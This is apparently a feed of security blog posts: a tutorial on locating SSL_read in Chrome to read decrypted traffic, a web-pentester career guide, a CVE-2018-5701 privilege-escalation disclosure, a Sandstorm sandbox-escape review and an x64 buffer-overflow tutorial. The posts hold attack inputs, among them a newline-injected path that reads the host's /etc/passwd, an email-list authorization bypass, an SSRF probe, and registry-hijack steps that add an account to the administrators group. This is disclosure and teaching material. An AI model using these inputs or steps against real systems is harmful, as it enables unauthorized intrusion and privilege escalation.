Let’s find now the SSL_read function. We should find the call to “OPENSSL_PUT_ERROR” from the ssl_read_impl function. This call is available in line 962 (0x3C2). Let’s go again through the results and find it. Here it is:

6B902FAC | 68 C2 03 00 00 | push 3C2 |
6B902FB1 | 68 24 24 35 6C | push chrome.6C352424 | 6C352424:"../../third_party/boringssl/src/ssl/ssl_lib.cc"
6B902FB6 | 68 E2 00 00 00 | push E2 |
6B902FBB | 6A 00          | push 0 |
6B902FBD | 6A 10          | push 10 |
6B902FBF | E8 D4 A9 00 FF | call chrome.6A90D998 |

Now, we should find the beginning of the function, which should be easy. Right click the first instruction (push EBP), go to “Find references to” and “Selected Address(es)”.

Find ref to ssl_read_impl 32

We should find only one call to the function, which should be SSL_peek. Find the first instruction of SSL_peek and repeat the same step. We should have only one result, which is the call to SSL_peek from SSL_read. So we got it.

6A065F52 | 55             | push ebp | ; SSL_read function
6A065F53 | 89 E5          | mov ebp,esp |
...
6A065F60 | 57             | push edi |
6A065F61 | E8 35 00 00 00 | call chrome.6A065F9B | ; Call SSL_peek

Let’s place a breakpoint, we can see the following on a normal call:

06DEF338 6A065D8F return to chrome.6A065D8F from chrome.6A065F52
06DEF33C 0AF39EA0 ; First parameter of SSL_read, pointer to SSL
06DEF340 0D4D5880 ; Second parameter, the payload
06DEF344 00001000 ; Third parameter, payload length

Now, we should right click the second parameter and choose “Follow DWORD in Dump” before pressing the “Execute til return” button, in order to stop in the debugger at the end of the function, so after the data was read in the buffer. We should be able to see the plain-text data in the Dump window, where we selected the payload.

0D4D5880 48 54 54 50 2F 31 2E 31 20 32 30 30 20 4F 4B 0D HTTP/1.1 200 OK. 
0D4D5890 0A 43 6F 6E 74 65 6E 74 2D 54 79 70 65 3A 20 69 .Content-Type: i 
0D4D58A0 6D 61 67 65 2F 67 69 66 0D 0A 54 72 61 6E 73 66 mage/gif..Transf

We managed to find it as well.

Conclusion

It might look difficult at the beginning, but as you can see, it is pretty easy if we follow the source code in the binary. This approach should work for most of the open-source applications.

As the x64 version would be very similar and the only difference would be the assembly code, it will not be detailed here.

However, please note that hooking those functions this might result in unstable behaviour and possible crashes.

How to become a web pentester

By: geri
12 February 2018 at 15:21

I spent quite some time trying to figure out the answer to this question when I created my online training with the clever title “Web Hacking: Become a Web Pentester“. In this post I will try to summarize what I learnt when I looked at my own career and what we look at when we hire new people to my team.

Process

Since this post is about ‘how to become a web pentester‘ first I wanted to give an overview of the process that I find most efficient:

  1. Establish a security mindset
  2. Acquire technical knowledge
  3. Learn attack techniques
  4. Acquire social skills
  5. Create proof-of-knowledge

Let’s go through these points one by one.

Security Mindset

One thing that is probably more important then the technical knowledge is what I call here ‘security mindset’. This is a point of view or way of thinking. Most of the people that work in IT security don’t necessarily have technical knowledge, but they have a security mindset. This means that they can look at systems, and more broadly the world, in a critical way that helps identify things that can go wrong or can be maliciously exploited.

I originally worked as a normal software tester, and if you read any book about testing, it will have a chapter called the “Psychology of Testing”. This chapter will tell you that while a developer’s goal is to write good code, the tester’s goal must not be to prove that the code is bug free. The tester’s goal must be to find bugs. Because if he tries to prove that the code does not have bugs, then he will never have success. The tester must train himself to be happy when he finds a bug. Because otherwise he will unconsciously not test things that might actually fail. This is, for instance, why developers shouldn’t test their own code, because they want it to work. But the tester wants it to break, so they will test the code with the meanest tests.

This is the same with security but instead of just focusing on functionality problems one needs to keep security in mind. How could this system be cheated? How can be a protection bypassed? What data is confidential and how can I access it? Etc. You need to develop this constant assessing mindset where you always look for things that could go wrong.

How to learn it:

You can consciously train your mind for this. Wherever you go in the world try to look for security weaknesses. It doesn’t have to be computer systems, it could be anything, for instance:

  • You fly somewhere and pay attention whether your identity is checked at all while you get to the plane. Sometimes they check you many times but only your boarding pass and never your ID.
  • You go to concert and you notice that there is a door where nobody checks the ticket.
  • When you go to a cinema your ticket is checked but not invalidated, so with 2 tickets you could bring in as many people as you want.

Technology

Obviously big part of pentesting is technical skills. However this is something that you will never stop learning. There will be always new tools, new frameworks. I think the goal here is to get the basics and keep developing yourself as you work. Here is what I think is the basics:

  • HTTP: You need to understand the HTTP protocol, how requests are sent to the server and how responses are sent back. Fortunately HTTP is fairly simple so this shouldn’t be difficult.
  • SSL: since it is used in HTTPS, it is good if you understand how it works. On an average pentest you don’t have to do too much with SSL but it is necessary to know what that is.
  • Web applications: you need to have a general understanding about how web applications work. I recommend to look into PHP, because that is a pretty traditional way of programming web applications, and look into MVC frameworks such as django or Ruby on Rails, which are rather the more modern way. I don’t think you need to be a web developer to be a good pentester, but you need to be able to imagine what could be happening on the server when you test the application.
  • Browsers: you need to have a basic understanding how browsers work, because that is one half of the attack surface. Here I mean things like, how pages are rendered, how cookies work, how the Same Origin Policy works, etc..
  • JavaScript: 99% of web applications use JS to some degree. So it is necessary to understand how it is used in the browser (i.e., XMLHttpRequest) and at least be able to read JS code and debug it in the browser.
  • Networking: for pure web testing you don’t necessary need a deep understanding of the underlying network stack (TCP/IP), but it is a plus for sure.
  • HTML: since it is still the base of all web pages HTML is pretty essential to understand.

What I listed here is the minimum, or the core of what you need to know. The stronger your IT knowledge is the better. And as pentester you need to be ready to learn about any exotic corner of IT.

Attack Techniques

Of course you will have to know the basic attack techniques. Partly because they are the first you need to check in every app, and also because they help you understand how attacks work which will be good when you start building your own attacks. I think the OWASP Testing Guide or at least the OWASP Top 10 is a really good starting point. Here is a must know list:

  • Cross-site scripting
  • Cross -site request forgery
  • Direct URL access
  • Session hijacking
  • SQL injection

This list might seem short but as I said this is the must. Also the first thing you do when you start testing an application should be to research the technology in use whether there are documented attack techniques against it. This way you will build up your arsenal pretty fast.

Practice, practice, practice

The best way to acquire knowledge is to challenge yourself, and the challenges will force you to learn. This means that independently from your skill level you should always practice. It is like learning a language, you shouldn’t wait with speaking to people until you feel that you are perfect (mostly because that never happens), but you should rather start talking and practicing from the very beginning.

Fortunately there are a lots of ways nowadays to practice hacking (without legal problems):

Social Skills

Whether you are a hard core nerd or not (I am pretty introvert myself), you need to understand that a pentester is a consultant. Usually you will have ‘Consultant’ on your business card instead of ‘Pentester’ anyway. What this means is that you will need to be able to effectively communicate with your customers. There are two main things you need to focus on:

  1. Report: this is really important. The single output of your work is the pentest report. You could be the most l33t hacker on the world, if your report is crap then your customer will think that your work is crap. So your report needs to be very clear, objective, and easy to understand. Don’t misunderstand me, everybody hates report writing, but it is a very important part of the job.
  2. Communication with the customer: you will have to do some verbal and written communication with the costumer before, during, and after the pentest. You will mostly talk with management, because they are the people who pay you, so you need to be able to explain everything to people who are not necessarily technical people. You will also need to talk to the developers and explain them your findings, without offending them.

Proof-of-Knowledge

In my point of view the most important thing when you are looking for a job is to be able to prove that you actually know what you say you know. Yes the work experience and jobs look great on your CV and that might pique the attention of the recruiter, but whether you are chosen or not depends on how well you can show what you know. A great way to do this is to document whatever you do. So when you do any of the things I recommended in the ‘Practice, practice, practice‘ section find a way to document it. Here are some ideas:

  • Write a blog about the things that were interesting
  • Create youtube videos about your hacks
  • If you code anything upload it to github

You can put all these on your CV, it will show more about your knowledge as the highschool where you went.

Resources

Let me just list here a couple of resources that could be useful.

Tools

There is only one tool, which I find absolutely essential for web testing, and that is the Burp Suite. For the rest I don’t think it makes sense that I write my own list here when there is already awesome tool lists out there. Check this out and scroll to the web part (you will also find other great resources here):

https://github.com/enaqx/awesome-pentest

Summary

I think web pentesting is not rocket science and it is a great way to get into hacking. I wrote another post about why to get into web pentesting there I explain the details. But the point is to start learning and practicing. The learning will never be over but you can start working pretty fast.

It is great if you read the whole article, let me know what you think. What was or what is your experience in becoming a web pentester? Let me know in the comments.

Exploiting System Shield AntiVirus Arbitrary Write Vulnerability using SeTakeOwnershipPrivilege

By: Parvez
29 January 2018 at 12:14

A kernel vulnerability exists in an antivirus product called “System Shield AntiVirus and AntiSpyware” by Iolo Technologies. This is an arbitrary memory overwrite vulnerability due to the inputted buffer not being validated and has been assigned a CVE ID of CVE-2018-5701. The product version of “System Shield AntiVirus and AntiSpyware” tested on is 5.0.0.136 and the vulnerable version of the driver “amp.sys” is 5.4.11.1.

Due to no response from the vendor for the last few weeks I’m going public with this one. Another one of their products “System Mechanic Pro” on version 15.5.0.61 is also affected from this vulnerability as it gets shipped with the same version of the driver as is bundled with “System Shield AntiVirus and AntiSpyware”. There is however an update downloader link on the site for “System Mechanic Pro” bringing it to version 17.5.0.116 where the vulnerable driver has been removed.

To get to our arbitrary write a number of conditions had to be satisfied in a number of subroutines, the main disassembly screen shots shown below.

To exploit I’m overwriting the _SEP_TOKEN_PRIVILEGES structure with the fixed value of 0xFFFFFFFE. You can play with the offsets to get different number of privileges but with the offsets I chose I ended up looking like this below

kd> dt nt!_SEP_TOKEN_PRIVILEGES fffff8a002cc4a30+40
   +0x000 Present          : 0xff`fffffe00
   +0x008 Enabled          : 0xff`fffffe00
   +0x010 EnabledByDefault : 0x800000

Looking at the number of privileges obtained we have a few to choose from for our exploit.

kd> !token fffff8a002cc4a30
_TOKEN fffff8a002cc4a30
TS Session ID: 0x1
User: S-1-5-21-2231847605-3015871416-1385684711-1001
Groups: 
 00 S-1-5-21-2231847605-3015871416-1385684711-513
    Attributes - Mandatory Default Enabled 
 01 S-1-1-0
    Attributes - Mandatory Default Enabled 
 02 S-1-5-114
    Attributes - DenyOnly 
 03 S-1-5-32-545
    Attributes - Mandatory Default Enabled 
 04 S-1-5-32-544
    Attributes - DenyOnly 
 05 S-1-5-4
    Attributes - Mandatory Default Enabled 
 06 S-1-2-1
    Attributes - Mandatory Default Enabled 
 07 S-1-5-11
    Attributes - Mandatory Default Enabled 
 08 S-1-5-15
    Attributes - Mandatory Default Enabled 
 09 S-1-5-113
    Attributes - Mandatory Default Enabled 
 10 S-1-5-5-0-1059199
    Attributes - Mandatory Default Enabled LogonId 
 11 S-1-2-0
    Attributes - Mandatory Default Enabled 
 12 S-1-5-64-10
    Attributes - Mandatory Default Enabled 
 13 S-1-16-8192
    Attributes - GroupIntegrity GroupIntegrityEnabled 
Primary Group: S-1-5-21-2231847605-3015871416-1385684711-513
Privs: 
 09 0x000000009 SeTakeOwnershipPrivilege          Attributes - Enabled 
 10 0x00000000a SeLoadDriverPrivilege             Attributes - Enabled 
 11 0x00000000b SeSystemProfilePrivilege          Attributes - Enabled 
 12 0x00000000c SeSystemtimePrivilege             Attributes - Enabled 
 13 0x00000000d SeProfileSingleProcessPrivilege   Attributes - Enabled 
 14 0x00000000e SeIncreaseBasePriorityPrivilege   Attributes - Enabled 
 15 0x00000000f SeCreatePagefilePrivilege         Attributes - Enabled 
 16 0x000000010 SeCreatePermanentPrivilege        Attributes - Enabled 
 17 0x000000011 SeBackupPrivilege                 Attributes - Enabled 
 18 0x000000012 SeRestorePrivilege                Attributes - Enabled 
 19 0x000000013 SeShutdownPrivilege               Attributes - Enabled 
 20 0x000000014 SeDebugPrivilege                  Attributes - Enabled 
 21 0x000000015 SeAuditPrivilege                  Attributes - Enabled 
 22 0x000000016 SeSystemEnvironmentPrivilege      Attributes - Enabled 
 23 0x000000017 SeChangeNotifyPrivilege           Attributes - Enabled Default 
 24 0x000000018 SeRemoteShutdownPrivilege         Attributes - Enabled 
 25 0x000000019 SeUndockPrivilege                 Attributes - Enabled 
 26 0x00000001a SeSyncAgentPrivilege              Attributes - Enabled 
 27 0x00000001b SeEnableDelegationPrivilege       Attributes - Enabled 
 28 0x00000001c SeManageVolumePrivilege           Attributes - Enabled 
 29 0x00000001d SeImpersonatePrivilege            Attributes - Enabled 
 30 0x00000001e SeCreateGlobalPrivilege           Attributes - Enabled 
 31 0x00000001f SeTrustedCredManAccessPrivilege   Attributes - Enabled 
 32 0x000000020 SeRelabelPrivilege                Attributes - Enabled 
 33 0x000000021 SeIncreaseWorkingSetPrivilege     Attributes - Enabled 
 34 0x000000022 SeTimeZonePrivilege               Attributes - Enabled 
 35 0x000000023 SeCreateSymbolicLinkPrivilege     Attributes - Enabled 
 36 0x000000024 Unknown Privilege                 Attributes - Enabled 
 37 0x000000025 Unknown Privilege                 Attributes - Enabled 
 38 0x000000026 Unknown Privilege                 Attributes - Enabled 
 39 0x000000027 Unknown Privilege                 Attributes - Enabled 
Authentication ID:         (0,1029c8)
Impersonation Level:       Anonymous
TokenType:                 Primary
Source: User32             TokenFlags: 0x2a00 ( Token in use )
Token ID: 13d229           ParentToken ID: 1029cb
Modified ID:               (0, 139e0a)
RestrictedSidCount: 0      RestrictedSids: 0000000000000000
OriginatingLogonSession: 3e7

For exploiting I decided to use the “SeTakeOwnershipPrivilege” privilege. The idea I had was to take ownership of a Windows Service key and have the ability to start it. The service I found was the “Windows Installer” service.

So the steps were to:

  1. Take ownership of the key HKLM\SYSTEM\CurrentControlSet\services\msiserver
  2. Change the “ImagePath” value to our command or executable we which want to run
  3. Start the service by running “msiexec.exe /i poc.msi /quiet”
  4. Restore all settings

Here poc.msi doesn’t really exist but by initiating an msi install will start the service and run our command. Trying to get an interactive shell is another matter as we have to deal with “Session 0 Isolation” which I haven’t really looked into so decided to use the net command to add the account to the local administrators group.

The exploit can be downloaded from here [zip]

@ParvezGHH

Sandstorm Security Review

25 January 2018 at 16:00

Sandstorm Security Review (English Version)
一次在 Sandstorm 跳脫沙箱的滲透經驗 (中文版本)

Introduction

In early 2017, we had a pentesting target protected with Sandstorm. Sandstorm is a web-based platform which allows users to install their web apps, such as WordPress, GitLab, etc. The main feature of Sandstorm is that it containerizes every app in its own sandbox. Therefore, even though we had found several vulnerabilities of the apps, we still could not put a threat to the server.

In order to leverage the vulnerabilities, we put part of efforts into review of Sandstorm’s source codes, and tried to escape the sandbox to impact the whole server. Finally, we found a number of uncommon and interesting vulnerabilities, and received CVE IDs as follows:

  • CVE-2017-6198 (Denial of Service)
  • CVE-2017-6199 (Bypassing Authorization Schema)
  • CVE-2017-6200 (Insecure Direct Object References)
  • CVE-2017-6201 (Server-Side Request Forgery)

Exploitation Details

CVE-2017-6198

This is a DoS created by system resource exhaustion. The root cause is that Sandstorm does not have a comprehensive policy to limit the amount of resource used by every apps run on it. In src/sandstorm/supervisor.c++ only the maximum number of files opened by each process was limited. See the codes below:

void SupervisorMain::setResourceLimits() {
  struct rlimit limit;
  memset(&limit, 0, sizeof(limit));
  limit.rlim_cur = 1024;
  limit.rlim_max = 4096;
  KJ_SYSCALL(setrlimit(RLIMIT_NOFILE, &limit));
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824

Since supervisor does not restrict the amount of subprocesses and storage usage, attackers can raise a resource exhaustion attack to crash the server by simply uploading a malicious app which keeps calling fork() (aka the “fork bomb”) or consumes huge storage space.

CVE-2017-6199

Usually Sandstorm will designate unique permissions to the specific members of a certain organization, and the default membership validation method is to check user’s email address and see whether the string after @ exists in their white list. See the codes below:

if (identity.services.email.email.toLowerCase().split("@").pop() === emailDomain) {
    return true;
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112

Therefore, when an attacker fills in an email like [email protected],[email protected] and the system will automatically consider the attacker a member of the aaa.bbb organization.

Another key factor that contributes to the successful attack lies in one of the features when users log on Sandstorm. Users does not need to set up passwords for Sandstorm. Each time when the users need to log onto the service, they only need to fill in their email address, and they’ll receive a set of random unique password for login. The reason why the example above works is because the system treats [email protected],[email protected] as a user from aaa.bbb domain, and the random password will be sent to the two email addresses, [email protected] and [email protected] As long as one can receive the password, they can log in to use the service.

Below is a quick demonstration:

  1. On Sandstorm, restrict access to users from domain aaa.bbb only.

  2. On login page, fill in [email protected],[email protected] for the email field. (Note: at the front end, the email field is checked with HTML5 validation, but it is not further checked for validity at the back end)

  3. Retrieve random password in [email protected] mailbox.

  4. Login successful. [email protected],[email protected] is considered as a user and member of aaa.bbb organization!

In our pentesting, the target website allowed users from validated domains to install their own apps. Therefore, through this bypass exploit, further attacks could be accomplished by combining other vulnerabilities described in this blog post (CVE-2017-6198, CVE-2017-6200, CVE-2017-6201).

CVE-2017-6200

This is an interesting vulnerability. Totally two little validation flaws were exploited to initiate this attack! On Sandstorm, owners of each Grain (Sandstorm container, in short, an app sandbox) can download their backup data for the app. But because of the two vulnerabilities in the packing process, an attacker can pack the files under the /etc and /run directories located on the server outside the sandbox. The security issues were as follows:

  1. The packing process has hid /var, /proc, /etc and other sensitive directories, but did not hide /etc.host and /run.host these two directories. These directories are the aliases for the directories /etc and /run on the server respectively, which are relatively newer features.

  2. The system will pack the legitimate files, have them sorted out, and create zip packages through the standard input interface. The separation between files are determined by line-breaks (\n). As a result, when a line-break string appears in the file name, illegal path file names can be injected and packed with zip. Although the app checks whether there is a line-break in the file name, but the directory name was not checked.

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271

By using these two vulnerabilities together, the attacker simply has to create a directory in the sandbox /var/exp\n/etc.host/passwd\n , then backup files containing /etc/passwd on the server can be retrieved through backup downloading function.

Screenshot of a real-world scenario:

  1. First, create a new directory in Grain /var/exp\n/etc.host/passwd\n, and use the Grain Backup function to download the backup file.

  2. After unzipping the backup file, from etc.host we’ll see /etc/passwd of the server outside the sandbox.

CVE-2017-6201

This is a classic SSRF (Server-Side Request Forgery) issue. Sandstorm allow installation of apps from arbitrary sources, and an attacker can simply let the server access a certain location by providing an installation URL. The problem was identified on https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/ This sample link confirms whether the server’s port 22 is open.

(Parse Error, which implies server’s port 22 is open)

Follow-up Updates

After we reported the vulnerabilities, Sandstorm fixed it immediately and then published an article: https://sandstorm.io/news/2017-03-02-security-review

Through this pentesting experience, we consider Sandstorm a safe platform with outstanding security mechanisms. This is mainly attributed to its fundamental design rationale: to assume that every app installed is malicious. With this vigilant assumption, Sandstorm’s defence mechanisms for the core system become comprehensive and watertight. Apart from the server-side protection, some common client-side attacks (such as XSS, CSRF) are handled properly by Sandstorm’s unique countermeasures, such as host name randomization. That is, it is very difficult for attackers to sabotage the server by simply manipulating the apps, and so does privilege escalation through attacking at the client-side.

Nevertheless, such an impressive platform still had some minor mistakes which led to security issues. Most of the vulnerabilities found this time are improper usages of libraries or negligence of existing defence architecture while introducing new features. These types of vulnerability are also common in our other projects. We would like to take the opportunity to remind developers, always present a comprehensive security review especially when developing new features to avoid vulnerabilities caused by the gaps between defence mechanisms.

一次在 Sandstorm 跳脫沙箱的滲透經驗

25 January 2018 at 16:00

Sandstorm Security Review (English Version)
一次在 Sandstorm 跳脫沙箱的滲透經驗 (中文版本)

前言

2017 年初,我們有個滲透測試專案,專案的標的架構在 Sandstorm 之上。Sandstorm 是一款 Web 平台,使用者可以輕易的在該平台安裝各種 Web App(如 WordPress、GitLab…),該平台最大的特色在於這些 App 都是在沙箱中執行。因此,即使我們測試中找到多項 App 弱點,也無法對平台本身造成威脅。

為了讓弱點效益最大化,我們將一部分精力轉移到研究 Sandstorm 原始碼,目的是跳脫 App 的沙箱環境看有沒有機會影響整台伺服器。最後,我們找到了幾個少見且有趣的弱點,並申請 CVE 編號如下:

  • 阻斷服務攻擊(Denial of Service),CVE-2017-6198
  • 繞過授權模式(Bypassing Authorization Schema),CVE-2017-6199
  • 不安全的直接存取物件(Insecure Direct Object References),CVE-2017-6200
  • 服務端請求偽造(Server-Side Request Forgery),CVE-2017-6201

漏洞細節

CVE-2017-6198

這是一個消耗系統資源造成的 DoS。起因是 Sandstorm 並未完善限制每個 App 所能使用的資源,在 src/sandstorm/supervisor.c++ 僅限制了每個程序能夠打開的最多檔案數,相關程式碼如下:

void SupervisorMain::setResourceLimits() {
  struct rlimit limit;
  memset(&limit, 0, sizeof(limit));
  limit.rlim_cur = 1024;
  limit.rlim_max = 4096;
  KJ_SYSCALL(setrlimit(RLIMIT_NOFILE, &limit));
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/supervisor.c++#L824

由於 supervisor 未限制子程序數量以及未限制儲存空間用量,因此攻擊者只要讓 App 不斷執行 fork(通常稱為 Fork Bomb)或是大量使用硬碟空間,就會造成伺服器資源不足而中斷服務。

CVE-2017-6199

通常 Sandstorm 會設定特定組織成員才能擁有特殊的權限,而系統預設的組織成員判斷方式是檢查使用者 email 中「@」符號最後的字串是否在白名單內,相關程式碼如下:

if (identity.services.email.email.toLowerCase().split("@").pop() === emailDomain) {
    return true;
}

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/shell/packages/sandstorm-db/db.js#L1112

因此,當攻擊者填入的 email 為 [email protected],[email protected],系統便會將攻擊者視為 aaa.bbb 組織的使用者。

這項攻擊得以成功還有另外一個關鍵點,發生在 Sandstorm 登入的一個特色上。使用 Sandstorm 服務不需要設定密碼,使用者每次欲登入時填入 email,系統便會發送一組每次皆不同的隨機密碼作為登入使用。上述的例子之所以能夠成功,就是因為系統將 [email protected],[email protected] 視為一個 aaa.bbb 網域的使用者,而隨機密碼會發送到 [email protected] 以及 [email protected] 兩個不同信箱中,只要可以收到密碼就可以登入使用服務。

直接案例說明:

  1. 在 Sandstorm 限定只有用 aaa.bbb 網域才可以登入。

  2. 登入處 email 欄位填入 [email protected],[email protected]。(註:email 欄位在前端有用 HTML5 Validation,但後端並無檢查 email 是否合法)

  3. [email protected] 信箱收到隨機密碼。

  4. 成功登入,[email protected],[email protected] 被視為一個使用者,且為 aaa.bbb 組織成員!

在我們的滲透測試中,標的網站是允許認證的網域使用者自行安裝 App 的。因此透過這項繞過弱點,攻擊者可以再搭配本篇其他漏洞(CVE-2017-6198、CVE-2017-6200、CVE-2017-6201)做更進一步的攻擊。

CVE-2017-6200

這是一個有趣的弱點,總共組合了兩個驗證上的小疏忽才能達成攻擊! 在 Sandstorm 中每個 Grain(Sandstorm container,簡單來說就是一個 App 沙箱)的擁有者都可以下載該 App 的備份資料,但由於打包流程中存在兩個弱點,因此攻擊者可以打包沙箱外伺服器的 /etc/run 下的檔案。發生的問題如下:

  1. 打包的流程隱藏了 /var/proc/etc 等敏感目錄,卻沒有隱藏 /etc.host/run.host 這兩個目錄。這兩個目錄分別是伺服器下 /etc/run 的別名,是較後期的功能。

  2. 系統會將欲打包的合法檔案整理出來透過標準輸入介面傳給 zip 打包,而判斷檔案和檔案間的區隔是靠換行符號(\n)。因此,當檔名中出現換行符號,可以插入非法的路徑檔名藉由 zip 打包。程式雖然有檢查檔名是否存在換行符,卻疏忽了檢查目錄名。

Ref: https://github.com/sandstorm-io/sandstorm/blob/v0.202/src/sandstorm/backup.c%2B%2B#L271

綜合上述兩個弱點,攻擊者只要在沙箱內建立一個目錄 /var/exp\n/etc.host/passwd\n,就可以透過下載備份的功能取得含有伺服器 /etc/passwd 檔案的備份檔。

實際情境截圖:

  1. 先在 Grain 裡新建目錄 /var/exp\n/etc.host/passwd\n,並用 Grain Backup 的功能下載備份檔。

  2. 解開備份檔後在 etc.host 目錄下看到沙箱外伺服器的 /etc/passwd

CVE-2017-6201

這是經典的 SSRF(Server-Side Request Forgery)問題,在 Sandstorm 安裝 App 流程沒有限制安裝來源,攻擊者提供一個安裝 URL 就能讓伺服器存取該位置。該問題發生在 https://[target]/install/xxxChangeItEveryTimexxx?url=http://127.0.0.1:22/,這個範例連結得以確認伺服器的 22 port 是否開啟。

(Parse Error,代表伺服器 22 port 開啟)

後續

在提交弱點後,Sandstorm 官方非常迅速修正了弱點,並且發表了一篇文章: https://sandstorm.io/news/2017-03-02-security-review

在這次滲透經驗中,我們認為 Sandstorm 是一款安全、有出色防禦機制的平台。主要原因取決於它的一個核心設計理念:就是假設使用者安裝的 App 都是惡意的。以這樣的前提出發去保護核心系統的安全,建立起來的防禦機制自然是全面且完善的。除了伺服器本身的保護,一些常見的客戶端攻擊(例如:XSS、CSRF)也透過 Sandstorm 特殊的隨機 hostname 等機制保護的很好。因此攻擊者很難從 App 本身去破壞伺服器,也很難透過攻擊客戶端去提升使用者的權限。

儘管是如此優秀的平台,仍舊會因一些小地方疏忽導致攻擊者有機可乘。這次發現弱點的地方多半在於 library 的誤用和新功能的撰寫沒有考慮到舊有防禦架構。這在其他專案也是常見的問題,藉機也提醒開發者在開發新功能時應做全面的安全檢視,以避免防禦落差所導致的弱點。

Stack Based Buffer Overflows on x64 (Windows)

24 January 2018 at 19:25

The previous two blog posts describe how a Stack Based Buffer Overflow vulnerability works on x86 (32 bits) Windows. In the first part, you can find a short introduction to x86 Assembly and how the stack works, and on the second part you can understand this vulnerability and find out how to exploit it.

This article will present a similar approach in order to understand how it is possible to exploit this vulnerability on x64 (64 bits) Windows. First part will cover the differences in the Assembly code between x86 and x64 and the different function calling convention, and the second part will detail how these vulnerabilities can be exploited.

ASM for x64

There are multiple differences in Assembly that need to be understood in order to proceed. Here we will talk about the most important changes between x86 and x64 related to what we are going to do.

First of all, the registers are now the following:

  • The general purpose registers are the following: RAX, RBX, RCX, RDX, RSI, RDI, RBP and RSP. They are now 64 bit (8 bytes) instead of 32 bits (4 bytes).
  • The EAX, EBX, ECX, EDX, ESI, EDI, EBP, ESP represent the last 4 bytes of the previously mentioned registers. They hold 32 bits of data.
  • There are a few new registers: R8, R9, R10, R11, R12, R13, R14, R15, also holding 64 bits.
  • It is possible to use R8d, R9d etc. in order to access the last 4 bytes, as you can do it with EAX, EBX etc.
  • Pushing and poping data on the stack will use 64 bits instead of 32 bits

Calling convention

Another important difference is the way functions are called, the calling convention.

Here are the most important things we need to know:

  • First 4 parameters are not placed on the stack. First 4 parameters are specified in the RCX, RDX, R8 and R9 registers.
  • If there are more than 4 parameters, the other parameters are placed on the stack, from left to right.
  • Similar to x86, the return value will be available in the RAX register.
  • The function caller will allocate stack space for the arguments used in registers (called “shadow space” or “home space”). Even if when a function is called the parameters are placed in registers, if the called function needs to modify the registers, it will need some space to store them, and this space will be the stack. The function caller will have to allocate this space before the function call and to deallocate it after the function call. The function caller should allocate at least 32 bytes (for the 4 registers), even if they are not all used.
  • The stack has to be 16 bytes aligned before any call instruction. Some functions might allocate 40 (0x28) bytes on the stack (32 bytes for the 4 registers and 8 bytes to align the stack from previous usage – the return RIP address pushed on the stack) for this purpose. You can find more details here.
  • Some registers are volatile and other are nonvolatile. This means that if we set some values into a register and call some function (e.g. Windows API) the volatile register will probably change while nonvolatile register will preserve their values.

More details about calling convention on Windows can be found here.

Function calling example

Let’s take a simple example in order to understand those things. Below is a function that does a simple addition, and it is called from main.

#include "stdafx.h"

int Add(long x, int y)
{
    int z = x + y;
    return z;
}

int main()
{
    Add(3, 4);
    return 0;
}

Here is a possible output, after removing all optimisations and security features.

Main function:

sub rsp,28
mov edx,4
mov ecx,3
call <consolex64.Add>
xor eax,eax
add rsp,28
ret

We can see the following:

  1. sub rsp,28 – This will allocate 0x28 (40) bytes on the stack, as we previously discussed: 32 bytes for the register arguments and 8 bytes for alignment.
  2. mov edx,4 – This will place in EDX register the second parameter. Since the number is small, there is no need to use RDX, the result is the same.
  3. mov ecx,3 – The value of the first argument is place in ECX register.
  4. call <consolex64.Add> – Call the “Add” function.
  5. xor eax,eax – Set EAX (or RAX) to 0, as it will be the return value of main.
  6. add rsp,28 – Clears the allocated stack space.
  7. ret – Return from main.

Add function:

mov dword ptr ss:[rsp+10],edx
mov dword ptr ss:[rsp+8],ecx
sub rsp,18
mov eax,dword ptr ss:[rsp+28]
mov ecx,dword ptr ss:[rsp+20]
add ecx,eax
mov eax,ecx
mov dword ptr ss:[rsp],eax
mov eax,dword ptr ss:[rsp]
add rsp,18
ret

Let’s see how this function works:

  1. mov dword ptr ss:[rsp+10],edx – As we know, the arguments are passed in ECX and EDX registers. But what if the function needs to use those registers (however, please note that some registers must be preserved by a function call, these registers are the following: RBX, RBP, RDI, RSI, R12, R13, R14 and R15)? In this case, the function will use the “shadow space” (“home space”) allocated by the function caller. With this instruction, the function saves on the shadow space the second argument (the value 4), from EDX register.
  2. mov dword ptr ss:[rsp+8],ecx – Similar to the previous instruction, this one will save on the stack the first argument (value 3) from the ECX register
  3. sub rsp,18 – Allocate 0x18 (or 24) bytes on the stack. This function does not call other function, so it is not needed to allocate at least 32 bytes. Also, since it does not call other functions, it is not required to align the stack to 16 bytes. I am not sure why it allocates 24 bytes, it looks like the “local variables area” on the stack has to be aligned to 16 bytes and the other 8 bytes might be used for the stack alignment (as previously mentioned).
  4. mov eax,dword ptr ss:[rsp+28] – Will place in EAX register the value of the second parameter (value 4).
  5. mov ecx,dword ptr ss:[rsp+20] – Will place in ECX register the value of the first parameter (value 3).
  6. add ecx,eax – Will add to ECX the value of the EAX register, so ECX will become 7.
  7. mov eax,ecx – Will save the same value (the sum) into EAX register.
  8. mov dword ptr ss:[rsp],eax and mov eax,dword ptr ss:[rsp] look like they are some effects of the removed optimizations, they don’t do anything useful.
  9. add rsp,18 – Cleanup the allocated stack space.
  10. ret – Return from the function.

Exploitation

Let’s see now how it would be possible to exploit a Stack Based Buffer Overflow on x64. The idea is similar to x86: we overwrite the stack until we overwrite the return address. At that point we can control program execution. This is the easiest example to understand this vulnerability.

We will have a simple program, such as this one:

void Copy(const char *p)
{
    char buffer[40];
    strcpy(buffer, p);
}

int main()
{
    Copy("Test");
    return 0;
}

We have a 40 bytes buffer and a function that will copy some string on that buffer.

This will be the assembly code of the main function:

sub rsp,28                       ; Allocate space on the stack
lea rcx,qword ptr ds:[1400021F0] ; Put in RCX the string ("test")
call <consolex64.Copy>           ; Call the Copy function
xor eax,eax                      ; EAX = 0, return value
add rsp,28                       ; Cleanup the stack space
ret                              ; return

And this will be the assembly code for the Copy function:

mov qword ptr ss:[rsp+8],rcx  ; Save the RCX on the stack
sub rsp,58                    ; Allocate space on the stack
mov rdx,qword ptr ss:[rsp+60] ; Put in RDX the "Test" string (second parameter to strcpy)
lea rcx,qword ptr ss:[rsp+20] ; Put in RCX the buffer (first parameter to strcpy)
